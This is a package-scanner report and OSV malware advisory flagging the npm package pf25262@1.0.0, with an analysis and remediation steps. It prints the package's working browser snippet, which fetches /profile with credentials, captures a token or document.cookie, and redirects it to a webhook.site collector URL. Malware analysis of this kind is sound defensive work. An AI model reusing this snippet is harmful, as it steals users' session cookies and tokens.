registry / pf25262 / 1.0.0

pf25262@1.0.0

AI Security Review

scanned 20d ago · by lpm-firewall-ai

Importing the package in a browser fetches an authenticated profile and exfiltrates page data or cookies through a redirect. This is a concrete credential and data theft path.

Static reason

No blocking static signals were detected.

Trigger

Importing or loading index.js in a browser context.

Impact

Profile content, token-like values, and cookies can be disclosed to a third party.

Mechanism

Authenticated profile harvesting followed by webhook redirect exfiltration.

Attack narrative

When the browser entry is loaded, it requests /profile with cookies included. It searches the response for a token-like value and otherwise combines document.cookie with response length. It then changes the browser location to a webhook.site URL containing the encoded collected value, disclosing it to that endpoint.

AI rationale

The package's sole entry contains direct authenticated data collection and third-party exfiltration. Absence of an install hook does not mitigate the import-time browser attack.

Evidence

index.jspackage.json/profile

Network endpoints2

/profilewebhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/

OSV advisory

OpenSSF/OSV

Advisory

MAL-2026-16340

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in pf25262 (npm)

Details

index.js contains a browser exfiltration snippet that issues a credentialed fetch to /profile, extracts a DGA{...} token or falls back to capturing document.cookie plus the response length, and redirects the browser to a hardcoded collector URL at https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/ with the captured data appended to the path. The package's entire shipped payload is this authenticated-session-data exfiltration snippet, sending same-origin credentials and cookies to an attacker-controlled webhook.site bin. ## Source: ghsa-malware (2d0fa8aa4e68b7cf8f23463767c5d8edfb2fbe37f0b6926d38cebbc95454fcb6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory PACKAGE ADVISORY

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

The primary entry runs immediately and fetches an authenticated profile.
It reads page content and browser cookies, then redirects to a webhook URL carrying the collected value.
The redirect sends either a matched token or a cookie-derived fallback to a third party.

Evidence against

The manifest contains no install lifecycle hook.

Behavioral surface

Source

Network

Supply chain

TrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 255 B of source, external domains: webhook.site

Source & flagged code

4 flagged

package.jsonView file

1{"name":"pf25262","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

The primary entry runs immediately and fetches an authenticated profile.

package.jsonView on unpkg · L1

index.jsView file

1fetch('/profile',{credentials:'include'}).then(r=>r.text()).then(t=>{ var m=t.match(/DGA\{[^}]*\}/);

High

Ai Review Evidence

The primary entry runs immediately and fetches an authenticated profile.

index.jsView on unpkg · L1

3var d=m?m[0]:('nc:'+document.cookie+':'+t.length); location='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/'+encodeURIComponent(d);

High

Ai Review Evidence

It reads page content and browser cookies, then redirects to a webhook URL carrying the collected value.

index.jsView on unpkg · L3

3var d=m?m[0]:('nc:'+document.cookie+':'+t.length); location='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/'+encodeURIComponent(d);

High

Ai Review Evidence

The redirect sends either a matched token or a cookie-derived fallback to a third party.

index.jsView on unpkg · L3

Source & flagged code

4 flagged · loading source

package.jsonView file

1{"name":"pf25262","version":"1.0.0","main":"index.js"}

High

Ai Review Evidence

The primary entry runs immediately and fetches an authenticated profile.

package.jsonView on unpkg · L1

index.jsView file

1fetch('/profile',{credentials:'include'}).then(r=>r.text()).then(t=>{ var m=t.match(/DGA\{[^}]*\}/);

High

Ai Review Evidence

The primary entry runs immediately and fetches an authenticated profile.

index.jsView on unpkg · L1

3var d=m?m[0]:('nc:'+document.cookie+':'+t.length); location='https://webhook.site/c4e39647-bfb8-47ef-b6d4-a112aacc6cd1/'+encodeURIComponent(d);

High

Ai Review Evidence

It reads page content and browser cookies, then redirects to a webhook URL carrying the collected value.

index.jsView on unpkg · L3

Findings

4 High1 Medium2 Low

HighAi Review Evidencepackage.json

HighAi Review Evidenceindex.js

MediumNetwork

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to pf25262@1.0.0.

See version security history for other recorded verdicts.

Avoid installing pf25262@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-01 04:46:16.253Z (UTC).

Source advisory published: 2026-09-21 03:31:42.000Z (UTC).